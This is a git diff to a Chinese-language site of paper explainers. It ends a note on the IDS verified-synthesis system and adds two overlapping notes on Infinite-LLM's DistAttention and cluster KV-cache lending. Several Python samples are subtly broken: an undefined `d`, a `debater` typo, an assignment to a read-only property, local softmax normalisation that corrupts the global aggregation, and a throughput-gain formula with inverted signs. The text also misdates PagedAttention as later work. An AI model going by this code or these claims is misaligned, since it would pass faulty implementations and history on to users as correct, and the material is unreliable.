+这意味着 IDS 可以在"证明完成一半"的状态下判断当前设计方向是否正确。这相当于在每个步骤都得到**精确、无假阳性/假阴性**的反馈。
+
+### 从验证到性能的闭环
+
+IDS 不只是证明正确性。一旦一个候选实现完成（无论证明是否关闭），Coordinator 就把它提取为 OCaml 代码，在 5 台 VM 的 Google Cloud 集群上跑性能测试：
+
+- 吞吐（throughput）
+- P99 延迟
+- 峰值内存
+- 每 worker 操作数缩放
+
+性能数据反馈给 ISA，指导它选择更高效的实现。最终 IDS 生成的实现比手动编写的参考实现最高快 3 倍。
+
+---
+
+## 实验结果
+
+### 正确性对比
+
+| 规范 | Codex (GPT-5.4) | Claude Code (Opus 4.6) | IDS |
+|------|:-:|:-:|:-:|
+| Chapar CC | 0/3 | 0/3 | 3/3 |
+| RYW | 3/3 | 3/3 | 3/3 |
+| MR | 0/3 | 0/3 | 3/3 |
+| MW | 2/3 | 3/3 | 3/3 |
+| RYW+MW | 0/3 | 1/3 | 3/3 |
+| CC | 0/3 | 0/3 | 2/3 |
+| LCC | 0/3 | 0/3 | 3/3 |
+| **总计** | **2/7** | **2/7** | **7/7** |
+
+### 效率
+
+- IDS 平均每个规范耗时约 6.8 小时，花费约 $106
+- 比人类专家快约 200 倍（人类需要 9-12 个月）
+- 比 SOTA Agent 便宜约 17%
+
+### 性能
+
+IDS 生成的实现在所有 7 个规范上匹配或超越手写专家实现，Chapar CC 上比官方向量时钟实现快 3 倍。
+
+### 消融实验（Ablation）
+
+去掉任何组件都会显著下降：
+
+- 去掉联合合成（-J）：7 个规范中只剩 RYW 能过
+- 去掉 Rocq 反馈（-VF）：所有规范通过率降至 ≤1/3
+- 去掉审计（-A）：出现过"put 守卫永远返回 false"这种 trivial 但通过验证的 bug
+- 去掉 Proposer（-P）：最难规范全部 0/3 通过
+- 去掉 Reloader（-R）：最难规范全部 0/3 通过
+
+最关键的单个组件是 **Rocq 反馈**——结构化诊断（目标、假设、tactic 回溯）vs. 简单的通过/拒绝，前者让 DSA 能精确知道哪里错了。
+
+---
+
+## 为什么这很重要
+
+### 1. 形式化验证不再是"专家特权"
+
+传统上，证明一个分布式系统正确需要 9-12 个月专家时间。IDS 把这个变成了"给规范，几小时后自动获得可验证实现"。
+
+### 2. 测试的局限性被揭示
+
+Codex GPT-5.4 即使收到 100 个候选实现 + 完整形式规范，在 4 个分布式属性上只通过了 1 个。测试和"vibe coding"永远无法覆盖分布式系统的状态空间。
+
+### 3. 这是"可验证编程"的转折点
+
+论文作者用了一个精彩的说法：IDS 把 **vibe coding**（凭感觉编程）变成了 **verified coding**（可验证编程）。AI 生成的不再是"可能对的代码"，而是"机器验证过对的代码"。
+
+### 4. 通用性
+
+IDS 不依赖 Rocq。Lean 4、Verus 等验证器也能用。问题领域也不限于分布式系统——操作系统内核、编译器、密码协议、硬件设计都适用。
+
+---
+
+## 局限性和开放问题
+
+1. **规范瓶颈**：IDS 需要手写 Rocq 规范，这本身就是最困难的环节。论文作者计划探索 LLM 辅助的自然语言→形式规范转换。
+
+2. **评估范围**：目前只在 KV 存储一致性上验证，OS 协议、密码原语等领域待探索。
+
+3. **未覆盖的场景**：7 个规范没有包含节点扩缩容、故障恢复、可观测性等生产系统需求。
+
+---
+
+## 我的理解：IDS 的哲学
+
+IDS 的核心思想其实很朴素：**不要一口气吃成胖子**。
+
+传统的 AI 编程方式是"先写代码，再证明"——等同于人类"先把证明写完再写代码"，这两者都被证明极其困难。
+
+IDS 的突破在于把问题变成了**交互式搜索**：
+- 每一步都很小（写几行代码 + 证一个小引理）
+- 每一步都有精确反馈（Rocq 验证器说 yes/no）
+- 失败时有人帮你换策略（ISA Proposer/Reloader）
+- 成功了还要跑性能测试（Coordinator 的 benchmark 环节）
+
+这本质上就是把人类写代码时"边写边想、卡住就换思路、最后检查对不对"这个过程，形式化后交给 AI Agent 系统自动执行。
+
+---
+
+## 延伸阅读
+
+- 论文完整代码：https://github.com/skydiscover-ai/skydiscover
+- Rocq 文档：https://rocq-lang.org/
+- Chapar 原始论文：Lesani et al., Chapar: Certified Causally Consistent Distributed Key-Value Stores
+- Dafny、Verus、Lean 4 等其它形式化验证工具
+- AlphaVerus: bootstrapping formally verified code generation through self-improving translation
diff --git a/src/content/docs/papers/infer-biabduction.md b/src/content/docs/papers/infer-biabduction.md
index 79b8b89be..d5a3a6220 100644
--- a/src/content/docs/papers/infer-biabduction.md
+++ b/src/content/docs/papers/infer-biabduction.md
@@ -167,5 +167,6 @@ bi-abduction 配合**抽象**（把具体堆图归纳成 `list(l)` 谓词）推
 - [[hoare-logic]] —— Hoare Logic — 把"程序对不对"变成"数学证明对不对"
 - [[reynolds-separation-logic]] —— Separation Logic — 把 Hoare 逻辑扩到带指针的程序
 - [[sagiv-shape-analysis]] —— Sagiv 参数化形状分析 — 用三值逻辑证明链表树仍是链表树
+- [[spec-agent-separation-logic]] —— Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约
 - [[steensgaard-pointer]] —— Steensgaard 指针分析 — 用等价合并把指针分析压到几乎线性
 
diff --git a/src/content/docs/papers/infinite-llm.md b/src/content/docs/papers/infinite-llm.md
new file mode 100644
index 000000000..86c0b5c0d
--- /dev/null
+++ b/src/content/docs/papers/infinite-llm.md
@@ -0,0 +1,373 @@
+---
+title: Infinite-LLM — 把注意力层拆出去，让 GPU 集群一起扛长上下文
+来源: https://arxiv.org/abs/2401.02669
+日期: 2026-06-13
+分类: 分布式系统
+子分类: LLM系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：合唱团的「声部分配」
+
+想象一个合唱团在做演唱（LLM 推理）：
+
+1. **歌词输入阶段（Prefill）**：歌手一次性拿到整段歌词，快速读一遍，然后唱出第一个音符。这一步像"大火爆炒"——所有人都要同时看同一份乐谱。
+
+2. **逐字生成阶段（Decode）**：之后每唱一个词，歌手都要回头看之前所有唱过的歌词（KVCache），再决定下一个音。歌词越长，回顾的"乐谱"越厚，消耗的时间越多。
+
+**传统做法**：每个合唱团（GPU 实例）独立负责自己的演唱。如果一个团的歌词特别长（长上下文），它需要把整本乐谱背下来——要么占用一台大合唱团的全部空间，要么干脆排不下。而那些歌词短的团，空间闲着也没用。
+
+**Infinite-LLM 的做法**：把"回头看乐谱"这件事（Attention 层）从每个团的独立任务中拆出来，分配给集群里所有可用的"声部"。短团的空闲空间可以被长团借来存放部分乐谱，大家分工合作。
+
+一句话：**不是让单张 GPU 变出更多显存，而是承认 Attention 层和其余层的资源需求不同，把 Attention 的计算和 KVCache 存储拆出去，用整个集群的显存池来服务。**
+
+---
+
+## 核心问题：为什么现有方案搞不定长上下文？
+
+LLM 的推理有两个关键部分，它们的资源行为**截然不同**：
+
+| 层类型 | 代表层 | 内存需求随上下文长度变化？ | 计算依赖 batch size？ |
+|---|---|---|---|
+| Attention 层 | QKV Linear + Multi-Head Attention | **是**——KVCache 随序列长度线性增长 | 否——每次只处理一个 token |
+| 非 Attention 层 | FFN（前馈网络） | **否**——参数量固定 | **是**——batch 越大越能利用 GEMM |
+
+这就是矛盾所在：
+
+- **短请求**（1K token）：KVCache 很小，15GB 就够，甚至不到一张 A100 的容量。但如果为了同时支持 2000K token 而给每张实例分配 32 张 GPU，短请求就被"过度并行"了——FFN 层被切到太多 GPU，通信开销大，反而跑不快。
+- **长请求**（1000K token）：KVCache 超过 500GB，相当于 7 张 A100 的容量。单张卡或少数几张卡根本存不下，必须跨卡分配。
+- **同一张实例上**：长请求吃满了显存，batch size 被迫降到 1，FFN 层的计算利用率几乎为零。
+
+传统的模型并行（Tensor Parallelism / Pipeline Parallelism）是**静态**的——每个实例分到的 GPU 数量在启动时就定死了。它无法根据请求的上下文长度动态调整 Attention 层和非 Attention 层的 GPU 分配。
+
+---
+
+## 核心概念 1：DistAttention — 注意力分布式计算的数学魔法
+
+DistAttention 是 Infinite-LLM 最核心的创新。它回答了这个问题：**如果把 KVCache 按序列维度切分到不同 GPU 上，每个 GPU 怎么独立计算自己那部分的 Attention，而不需要把所有 KVCache 搬回来？**
+
+### 原始 Attention 的痛点
+
+标准 Attention 的计算公式是：
+
+```
+Attention(Q, K, V) = Σ [exp(QK^T - m_g) / Σ exp(QK^T - m_g)] * V
+```
+
+其中 `m_g = max(QK_1, ..., QK_seq)` 是**全局最大值**，需要在所有序列上取最大，再做全局求和。
+
+如果直接把 KVCache 切分到多个 GPU 上，每个 GPU 只拿到一部分 K 和 V，那：
+- 全局最大值 m_g 没法在局部计算
+- 全局求和没法在局部完成
+- 每次计算都要把所有 KVCache 从远程 GPU 搬回来
+
+这会导致每个 decode 步骤都传输 GB 甚至 TB 级别的数据，彻底瘫痪性能。
+
+### DistAttention 的数学等价变换
+
+DistAttention 受在线 Softmax（online softmax）启发，对 Attention 公式做了等价变换，把全局操作拆解为**局部操作 + 少量聚合**：
+
+**第一步**：每个 GPU（称为一个分片）在自己的局部序列上做独立的 Attention 计算：
+
+```
+m_j = max(QK_1, ..., QK_seq_p)   // 局部最大值
+e_j = Σ exp(QK_i^T - m_j)         // 局部归一化因子
+MA_j = Σ [exp(QK_i^T - m_j) * V_i] // 局部注意力加权和
+```
+
+**第二步**：各分片把自己的结果（只有 `MA_j`、`m_j`、`e_j` 三个小量）发回主 GPU 做聚合：
+
+```
+m_g = max(m_1, ..., m_b)              // 全局最大值
+e_g = Σ e_j * exp(m_j - m_g)           // 全局归一化因子
+Attention = Σ MA_j * exp(m_j - m_g) / e_g  // 加权求和
+```
+
+**关键点**：分片只需要传输 query 向量和 2 个 float 值（`e_j`、`m_j`），总共只有**几 KB** 的数据，而不是 GB 级别的 KVCache。
+
+### 代码示例 1：DistAttention 原理示意
+
+```python
+import torch
+import torch.nn.functional as F
+
+def standard_attention(Q, K, V):
+    """
+    标准 Multi-Head Attention（单 GPU，所有 KVCache 本地）
+    Q: [batch, heads, 1, d]       — 当前生成 token 的 query
+    K: [batch, heads, seq, d]     — 完整 KVCache
+    V: [batch, heads, seq, d]     — 完整 KVCache
+    """
+    # QK^T: [batch, heads, 1, seq]
+    scores = torch.matmul(Q, K.transpose(-2, -1)) / (d ** 0.5)
+    # softmax：逐行减去最大值做数值稳定
+    scores = F.softmax(scores, dim=-1)
+    # 加权求和
+    output = torch.matmul(scores, V)  # [batch, heads, 1, d]
+    return output
+
+
+def dist_attention(Q, distributed_blocks, d):
+    """
+    DistAttention：KVCache 被切分为 b 个分片，各自存在不同 GPU 上
+    Q:   [batch, heads, 1, d]              — 主 GPU 上的 query
+    distributed_blocks: [(K_j, V_j), ...]   — 每个分片的局部 KVCache
+    每个分片 (K_j, V_j) 形状为 [batch, heads, seq_p, d]
+    """
+    local_outputs = []  # 收集各分片的结果
+    local_m = []        # 收集各分片的局部最大值
+    local_e = []        # 收集各分片的局部归一化因子
+
+    # ========== 第 1 步：各分片独立计算 ==========
+    for K_j, V_j in distributed_blocks:
+        # 局部 QK^T
+        scores_j = torch.matmul(Q, K_j.transpose(-2, -1)) / (d ** 0.5)
+
+        # 局部数值稳定：减去局部最大值
+        m_j = scores_j.max(dim=-1, keepdim=True).values  # [batch, heads, 1, 1]
+        stabilized = scores_j - m_j
+
+        # 局部 softmax 的分子部分（不除以分母）
+        exp_scores = torch.exp(stabilized)  # [batch, heads, 1, seq_p]
+
+        # 局部加权和
+        ma_j = torch.matmul(exp_scores, V_j)  # [batch, heads, 1, d]
+
+        # 局部归一化因子：exp_scores 所有元素求和
+        e_j = exp_scores.sum(dim=-1, keepdim=True)  # [batch, heads, 1, 1]
+
+        local_outputs.append(ma_j)
+        local_m.append(m_j)
+        local_e.append(e_j)
+
+    # ========== 第 2 步：主 GPU 聚合 ==========
+    # 全局最大值：m_g = max(m_1, ..., m_b)
+    m_g = torch.cat(local_m, dim=-1).max(dim=-1, keepdim=True).values
+
+    # 全局归一化因子：e_g = Σ e_j * exp(m_j - m_g)
+    weighted_e = sum(
+        e_j * torch.exp(m_j - m_g)
+        for m_j, e_j in zip(local_m, local_e)
+    )
+    e_g = weighted_e.sum(dim=-1, keepdim=True)
+
+    # 加权求和：Attention = Σ MA_j * exp(m_j - m_g) / e_g
+    weighted_outputs = sum(
+        ma_j * torch.exp(m_j - m_g)
+        for ma_j, m_j in zip(local_outputs, local_m)
+    )
+    output = weighted_outputs / e_g  # [batch, heads, 1, d]
+
+    return output
+```
+
+**对比通信量**：
+- 传统方案：每次 decode 需要传输整个 KVCache（对于 1000K token 可能是 **500GB+**）
+- DistAttention：每次 decode 只传输 query（几 KB）+ 各分片的 `m_j`、`e_j`（每个分片只有几字节）
+
+聚合步骤的计算量不到总计算量的 1%，完全可以忽略。
+
+---
+
+## 核心概念 2：集群级 KVCache 调度 — "债务人"与"债权人"
+
+DistAttention 让 Infinite-LLM 可以按任意粒度拆分和调度 KVCache。这不仅仅是为了支持超长请求，更是为了**整体提升集群吞吐量**。
+
+### 场景：四个 GPU 实例
+
+```
+实例 A：处理一个 1000K 长请求 → 显存占满，batch size = 1（FFN 利用率极低）
+实例 B：处理短请求 → batch size = 50，但剩余大量空闲显存
+实例 C：处理短请求 → batch size = 30，还剩不少显存
+实例 D：处理一个 500K 长请求 → 显存快满了，batch size 被迫降到 3
+```
+
+### 两种调度策略对比
+
+**策略 1：被动放置**（传统方法）
+- 长请求的 KVCache 超出单实例容量时，才把新块放到有剩余空间的实例上
+- 结果：实例 A 的 batch size 仍然是 1，实例 D 的新块和本地短请求抢资源
+
+**策略 2：主动放置**（Infinite-LLM）
+- 长请求还没占满当前实例时，就**主动**把部分 KVCache 块借给有闲余空间的实例
+- 结果：实例 A 腾出显存，可以容纳更多短请求，batch size 从 1 提升到 10+
+- 实例 B、C 虽然多承担了一点 Attention 计算，但因为它们的 FFN 计算本就轻松，影响很小
+
+### 债务人与债权人模型
+
+- **债务人（Debtor）**：借入显存来存放自己部分 KVCache 的实例（A、D）。好处是 batch size 能提升，吞吐量增加；代价是要额外做聚合计算。
+- **债权人（Creditor）**：借出显存来存放他人部分 KVCache 的实例（B、C）。代价是自身的 batch size 可能下降；但因为 Attention 计算不依赖 batch，影响有限。
+
+### 代码示例 2：调度决策简化示意
+
+```python
+from dataclasses import dataclass
+from typing import List, Tuple
+
+@dataclass
+class Instance:
+    id: str
+    total_memory: float        # 总显存 (GB)
+    used_memory: float         # 已用显存 (GB)
+    batch_size: int            # 当前 batch size
+    request_lengths: List[int] # 各请求的长度 (token 数)
+
+    @property
+    def free_memory(self) -> float:
+        return self.total_memory - self.used_memory
+
+    @property
+    def is_creditor(self) -> bool:
+        # 如果空闲显存 > 30%，有资格当债权人
+        return self.free_memory > self.total_memory * 0.3
+
+    @property
+    def is_debtor(self) -> bool:
+        # 如果显存使用率 > 90%，需要借钱
+        return self.used_memory > self.total_memory * 0.9
+
+
+def estimate_throughput(instance: Instance) -> float:
+    """
+    估算实例的吞吐量（tokens/second）
+    非 Attention 层的吞吐量随 batch size 提升
+    Attention 层的吞吐量随请求长度增加而下降
+    """
+    # 简化模型：非 Attention 层贡献
+    non_attn_tp = instance.batch_size * 100  # 假设每请求 100 tok/s
+
+    # Attention 层贡献：请求越长越慢
+    avg_length = sum(instance.request_lengths) / max(len(instance.request_lengths), 1)
+    attn_tp = 10000 / avg_length  # 10000 是参考点
+
+    return non_attn_tp + attn_tp
+
+
+def greedy_schedule(instances: List[Instance]) -> List[Tuple[str, str, float]]:
+    """
+    贪婪调度算法：每次选择让全局吞吐量提升最大的借/贷决策
+    返回：[(债务人ID, 债权人ID, 借入显存GB), ...]
+    """
+    transfers = []
+
+    # 标记债务人和债权人
+    debtors = [inst for inst in instances if inst.is_debtor]
+    creditors = [inst for inst in instances if inst.is_creditor]
+
+    while debtors and creditors:
+        best_gain = 0.0
+        best_pair = None
+        best_amount = 0.0
+
+        for debtor in debtors:
+            for creditor in creditors:
+                # 尝试让 debtor 从 creditor 借入不同大小的显存
+                max_transfer = min(
+                    creditor.free_memory * 0.5,  # 债权人最多借出一半空闲
+                    debtor.free_memory * 2,       # 债务人需要的"补偿空间"
+                )
+                if max_transfer <= 0:
+                    continue
+
+                # 模拟转移 20% 空闲显存
+                transfer = max_transfer * 0.2
+                # 计算转移后的全局吞吐量
+                # （简化：实际 Infinite-LLM 使用更精确的性能模型）
+                debtor_new_batch = min(
+                    int(debater.batch_size * (1 + transfer / debtor.free_memory)),
+                    128,
+                )
+                creditor_new_batch = max(
+                    creditor.batch_size - 1,
+                    1,
+                )
+
+                # 估算提升
+                old_global = sum(estimate_throughput(i) for i in instances)
+                # 模拟变更
+                old_batch = debtor.batch_size
+                debtor.batch_size = debtor_new_batch
+                creditor.batch_size = creditor_new_batch
+                creditor.used_memory += transfer
+                creditor.free_memory -= transfer
+                debtor.used_memory -= transfer
+                debtor.free_memory += transfer
+
+                new_global = sum(estimate_throughput(i) for i in instances)
+                gain = new_global - old_global
+
+                # 恢复
+                debtor.batch_size = old_batch
+
+                if gain > best_gain:
+                    best_gain = gain
+                    best_pair = (debtor.id, creditor.id)
+                    best_amount = transfer
+
+        if best_pair is None or best_gain <= 0:
+            break
+
+        transfers.append((best_pair[0], best_pair[1], best_amount))
+        print(f"  调度: {best_pair[0]} <- {best_pair[1]} : {best_amount:.1f} GB (提升 {best_gain:.0f} tok/s)")
+        debtors = [i for i in instances if i.is_debtor]
+        creditors = [i for i in instances if i.is_creditor]
+
+    return transfers
+
+
+# 示例：模拟一个 32 GPU 集群的调度
+instances = [
+    Instance("A", 80, 76, 1, [1000000]),           # 债务人：长请求占满
+    Instance("B", 80, 40, 50, [2000, 1500]),        # 债权人：短请求，大量空闲
+    Instance("C", 80, 50, 30, [3000]),              # 债权人
+    Instance("D", 80, 75, 3, [500000]),             # 债务人：中长请求
+    Instance("E", 80, 20, 80, [500, 800, 300]),     # 债权人：大量空闲
+]
+
+print("=== 贪婪调度 ===")
+print("初始吞吐量:", sum(estimate_throughput(i) for i in instances))
+result = greedy_schedule(instances)
+print("最终吞吐量:", sum(estimate_throughput(i) for i in instances))
+print(f"执行了 {len(result)} 次调度")
+```
+
+---
+
+## 核心概念 3：系统架构 — gManager + rManager
+
+Infinite-LLM 采用**集中式调度 + 分布式执行**的架构：
+
+- **gManager（全局管理器）**：单一控制器，运行调度算法，追踪整个集群的 KVCache 分布，协调实例间的通信。
+- **rManager（本地管理器）**：每个 GPU 实例上一个，负责执行调度决策、管理本地 KVCache、处理 DistAttention 的通信。
+- **协议**：定义了两个管理器之间的交互协议，包括 KVCache 的追踪、迁移和注意力结果的聚合。
+
+为了优化通信开销，Infinite-LLM 还做了**通信重叠优化**：在本地 GPU 做模型推理的同时，异步地把 KVCache 块传输到债权人实例，让传输时间和计算时间重叠，而不是串行等待。
+
+---
+
+## 评估结果（32 张 A100）
+
+| 指标 | 结果 |
+|---|---|
+| 支持的最大上下文长度 | **2000K tokens**（200 万 token） |
+| 吞吐量提升 | 相比现有方法提升 **1.35-3.4 倍** |
+| 对比基线 | 传统静态模型并行 + 单实例 KVCache 调度 |
+| 实验数据集 | 上下文长度从 1 到 2000K token |
+
+关键发现：Infinite-LLM 不仅解决了"超长上下文跑不了"的问题，更重要的是通过集群级资源调度，让短请求和长请求能够**互补利用资源**，整体吞吐量显著提升。
+
+---
+
+## 总结
+
+Infinite-LLM 的核心洞察可以概括为一句话：
+
+> **Attention 层和非 Attention 层的资源需求特性完全不同，用同一套静态并行策略来服务所有请求，必然导致一方浪费、一方不够。**
+
+通过三个层层递进的创新，Infinite-LLM 解决了这个问题：
+
+1. **DistAttention** — 数学上等价变换 Attention，让 KVCache 可以分布式存储和计算，通信开销从 GB 级降到 KB 级
+2. **债务人/债权人调度** — 把集群显存当作一个池子，长请求从短请求的空闲空间中借内存，提升全局吞吐量
+3. **gManager + rManager** — 集中调度 + 分布式执行，支持实时动态调整
+
+这套思路对理解 LLM 推理系统的演进很重要——它标志着从"固定资源分配"到"动态资源池化"的范式转变。后续的系统（如 vLLM 的 PagedAttention、DeepSpeed-UltraScale 等）都在不同方向上延续了类似的资源解耦思想。
diff --git a/src/content/docs/papers/infinitts-llm.md b/src/content/docs/papers/infinitts-llm.md
new file mode 100644
index 000000000..2448a3b2a
--- /dev/null
+++ b/src/content/docs/papers/infinitts-llm.md
@@ -0,0 +1,267 @@
+---
+title: Infinite-LLM — 用「分布式注意力」打破长文本的显存墙
+来源: https://arxiv.org/abs/2401.02669
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 长上下文
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：图书馆里的「抄笔记」
+
+想象一个大型图书馆（GPU 集群），读者（LLM 请求）需要查阅大量书籍（长文本 context）来做研究报告。
+
+**传统做法**：每个读者分配一个**独立的书桌**。书少的读者（短 context）桌子大空着；书多的读者（长 context）桌子不够放，只能把书堆在地上——但堆在地上的书没法高效查阅。更麻烦的是，**所有书桌之间不能共享空间**，A 桌的空位 B 桌用不了。
+
+**Infinite-LLM 的做法**：把"读书"和"抄笔记"分开。
+- **读书记（模型权重计算）**：仍在各自书桌上完成——这步计算量固定，跟读多少书无关。
+- **抄笔记（Attention + KV Cache）**：可以借到任何其他书桌的桌面上写。你不需要把整本书搬到别的桌子，只需告诉对方"我注意到你在第 37 页记了些东西，能告诉我你写了什么摘要吗？"——对方只需回传一个小小的摘要卡片（几个 KB），而不是整页书（几百 GB 的 KV cache）。
+
+一句话：**Infinite-LLM 让 Attention 计算可以跨实例分布式执行，KV Cache 可以借来借去，集群的整体显存利用率从此不再被单个实例的物理边界锁死。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Infinite-LLM: Efficient LLM Service for Long Context with DistAttention and Distributed KVCache* |
+| 会议 | ASPLOS 2025（经 peer-review） |
+| arXiv | [2401.02669](https://arxiv.org/abs/2401.02669) |
+| 作者 | Lin Bin 等（阿里巴巴 + 上海交大 + 北大） |
+| 开源 | 未开源（论文系统原型） |
+| 实验规模 | 32 × A100 GPU，上下文长度 1 到 2000K tokens |
+
+Infinite-LLM 解决的是 LLM 推理服务中长期被忽视的一个问题：**Attention 层和非 Attention 层的资源需求是截然不同的。**
+
+- **非 Attention 层（FFN、Linear）**：计算量固定，不随 context 长度变化。batch 越大越好，受益于 GEMM 并行。
+- **Attention 层**：显存需求随 context 长度线性增长，计算量也随 context 变大。它**不受益于 batch 增大**。
+
+现有系统（vLLM、Orca、Sarathi-Serve 等）用**静态模型并行**（Tensor Parallelism / Pipeline Parallelism）给整层模型分 GPU——短请求分了 8 张卡是浪费，长请求 1 张卡又装不下 KV Cache。
+
+Infinite-LLM 的核心洞察：**把 Attention 层从模型中抽出来，独立调度。** 这引出了两个关键创新：
+
+1. **DistAttention** — 数学等价变换，让 Attention 可以跨实例分布式计算，只需传递 KB 级数据而非 GB/TB 级 KV Cache。
+2. **集群级 KV Cache 调度** — 将全集群 GPU 显存视为一个池子，"借"和"贷"的实例之间动态调度 KV Cache 分块。
+
+---
+
+## 核心概念
+
+### 1. DistAttention：把 Attention "切碎"
+
+标准 Attention 的计算公式是：
+
+```
+Attention(Q, K, V) = Σᵢ [ exp(Q·Kᵢᵀ - m_g) / Σⱼ exp(Q·Kⱼᵀ - m_g) ] · Vᵢ
+
+其中 m_g = max(Q·K₁, ..., Q·K_seq)  —— 全局最大值
+```
+
+问题在于：`m_g` 需要**所有 sequence 上的 Q·K 值**才能算出来。如果你把 KV Cache 分到多台机器上，每台机器只知道自己那部分——每次 attention 计算都得把全部 KV Cache 拉回来，传输量是 GB 甚至 TB 级的。
+
+**DistAttention 的解法**：借鉴 Online Softmax 的思想，把全局最大值拆解为两层：
+
+```
+第一步（本地 MicroAttention）：
+  m_j = max(Q·K₁, ..., Q·K_seqp)    ← 每台机器只算自己的局部最大值
+  e_j = Σᵢ exp(Q·Kᵢᵀ - m_j)         ← 局部归一化累加器
+
+第二步（全局聚合）：
+  m_g = max(m₁, ..., m_b)            ← 收集 b 台机器的局部最大值，算全局最大值
+  e_g = Σⱼ e_j · exp(m_j - m_g)     ← 收集 b 台机器的 e_j，算全局累加器
+
+第三步（加权合并）：
+  Attention = Σⱼ [ MA_j · exp(m_j - m_g) / e_g ]
+```
+
+每台机器只需要回传**三个小数值**：`m_j`（局部最大值）、`e_j`（局部累加器）、以及 MA_j 的结果（输出向量片段）。对于一个 batch size=1 的请求，这三个值的总大小只有**几千字节**。
+
+```python
+# 伪代码：DistAttention 的本地计算（每个 GPU 实例上运行）
+
+class DistAttention:
+    def micro_attention(self, Q, K_local, V_local):
+        """
+        Q:        query 向量      [hidden_dim]
+        K_local:  本机的 KV cache 块  [seq_p, hidden_dim]
+        V_local:  本机的 V cache 块  [seq_p, hidden_dim]
+        返回: (m_local, e_local, ma_result)
+        """
+        # 1. 计算 Q 与本地 KV 的 attention scores
+        scores = torch.matmul(Q, K_local.T)  # [seq_p]
+
+        # 2. 局部最大值 (Online Softmax 的核心 trick)
+        m_local = scores.max()
+
+        # 3. 局部归一化累加 + 加权 V 求和
+        exp_scores = torch.exp(scores - m_local)  # 数值稳定
+        weights = exp_scores / exp_scores.sum()
+        ma_result = torch.matmul(weights, V_local)  # [hidden_dim]
+
+        # 4. 局部 e 值（用于后续全局归一化）
+        e_local = exp_scores.sum()
+
+        return m_local, e_local, ma_result
+
+    def global_aggregate(self, results_from_all_instances):
+        """
+        results_from_all_instances: list of (m_j, e_j, ma_j)
+        来自 b 个实例的局部结果，在这里合并
+        """
+        # 收集所有局部最大值
+        m_values = [r[0] for r in results_from_all_instances]
+        m_global = max(m_values)
+
+        # 计算全局归一化常数
+        e_global = sum(
+            r[1] * math.exp(r[0] - m_global)
+            for r in results_from_all_instances
+        )
+
+        # 加权合并所有局部 MA 结果
+        output = torch.zeros_like(results_from_all_instances[0][2])
+        for m_j, e_j, ma_j in results_from_all_instances:
+            weight = math.exp(m_j - m_global) / e_global
+            output += weight * ma_j
+
+        return output
+```
+
+### 2. 集群级 KV Cache 调度：债务人与债权人
+
+有了 DistAttention，KV Cache 就不再需要"完整存放在一台机器上"。Infinite-LLM 把集群分成两类角色：
+
+- **债务人（Debtor）**：自己的显存不够放 KV Cache，需要向别人"借"空间。例如一个处理 1000K token 长文档的实例。
+- **债权人（Creditor）**：显存有富余，可以"借"空间给别人。例如处理多个短请求（几百 token）的实例。
+
+```python
+# 伪代码：调度器决策逻辑
+
+class KVScheduler:
+    def __init__(self, cluster_instances):
+        self.instances = cluster_instances
+        # 每个实例的可用内存块数
+        self.free_blocks = {inst.id: inst.free_memory_blocks for inst in cluster_instances}
+
+    def decide_lend_borrow(self):
+        """
+        贪心调度：每次选择一个最有价值的"借-贷"配对
+        """
+        # 1. 识别债务人（内存不够放的实例）
+        debtors = [
+            inst for inst in self.instances
+            if inst.needed_blocks > inst.available_blocks
+        ]
+
+        # 2. 识别债权人（有内存富余的实例）
+        creditors = [
+            inst for inst in self.instances
+            if inst.free_blocks > MIN_THRESHOLD
+        ]
+
+        # 3. 贪心选择：每次选一个能最大化集群吞吐的配对
+        while debtors and creditors:
+            best_pair = None
+            best_throughput_gain = 0
+
+            for debtor in debtors:
+                for creditor in creditors:
+                    # 预估传输 N 个 block 后的集群总吞吐
+                    gain = self.estimate_throughput_gain(
+                        debtor=debtor,
+                        creditor=creditor,
+                        num_blocks=min(creditor.free_blocks, debtor.needed_blocks)
+                    )
+                    if gain > best_throughput_gain:
+                        best_throughput_gain = gain
+                        best_pair = (debtor, creditor, gain)
+
+            if best_pair is None:
+                break
+
+            debtor, creditor, gain = best_pair
+            # 执行调度：将 KV Cache 分块从债务人迁移到债权人
+            num_blocks = min(creditor.free_blocks, debtor.needed_blocks)
+            self.migrate_kv_blocks(debtor, creditor, num_blocks)
+
+            # 更新状态
+            debtor.free_up_blocks(num_blocks)
+            creditor.lend_blocks(num_blocks)
+
+            # 重新评估角色
+            self._update_roles()
+
+    def estimate_throughput_gain(self, debtor, creditor, num_blocks):
+        """
+        基于性能模型估算集群吞吐增益
+        参考论文 Equation 5：
+          T_layer(β, S) = max(
+              W(β) / f(β),   # 非注意力层受 batch 影响
+              S / g(S)        # 注意力层受 context 长度影响
+          )
+        """
+        current_total = self.compute_cluster_throughput()
+
+        # 模拟迁移后的状态
+        simulated_debtor = self.simulate_migration(debtor, creditor, num_blocks)
+        simulated_creditor = self.simulate_migration(creditor, debtor, num_blocks)
+
+        # 迁移后：债务人 batch 变大（吞吐涨），债权人 batch 不变（影响小）
+        new_total = current_total \
+            - simulated_debtor.compute_throughput() \
+            - simulated_creditor.compute_throughput() \
+            + debtor.compute_throughput() \
+            + creditor.compute_throughput()
+
+        return new_total
+```
+
+### 3. gManager / rManager：集中式调度 + 分布式执行
+
+```
+                    +------------+
+                    | gManager   |  ← 全局调度决策（知道所有实例的状态）
+                    | (大脑)      |
+                    +-----+------+
+                          |  RPC
+              +-----------+-----------+
+              |           |           |
+        +-----v----+ +-----v----+ +-----v----+
+        | rManager | | rManager | | rManager |  ← 每台机器一个本地管理器
+        | (Node A) | | (Node B) | | (Node C) |
+        +-----+----+ +-----+----+ +-----+----+
+              |           |           |
+        +-----v----+ +-----v----+ +-----v----+
+        | GPU 0..7 | | GPU 0..7 | | GPU 0..7 |
+        +----------+ +----------+ +----------+
+```
+
+- **gManager**：全局协调器，维护所有实例的 KV Cache 布局、内存使用情况，运行调度算法。
+- **rManager**：每个物理节点上的本地管理器，执行实际的 KV Cache 迁移、DistAttention 计算调度。
+
+通信开销优化：KV Cache 传输与本地计算**重叠**（Pipeline），让数据传输"隐形"。
+
+---
+
+## 为什么重要
+
+- **短请求不再被长请求拖累**：传统系统里，一张卡上一个长请求就会吃掉全部显存，其他短请求排队等。Infinite-LLM 让长请求的 KV Cache 可以"溢出"到空闲的卡上。
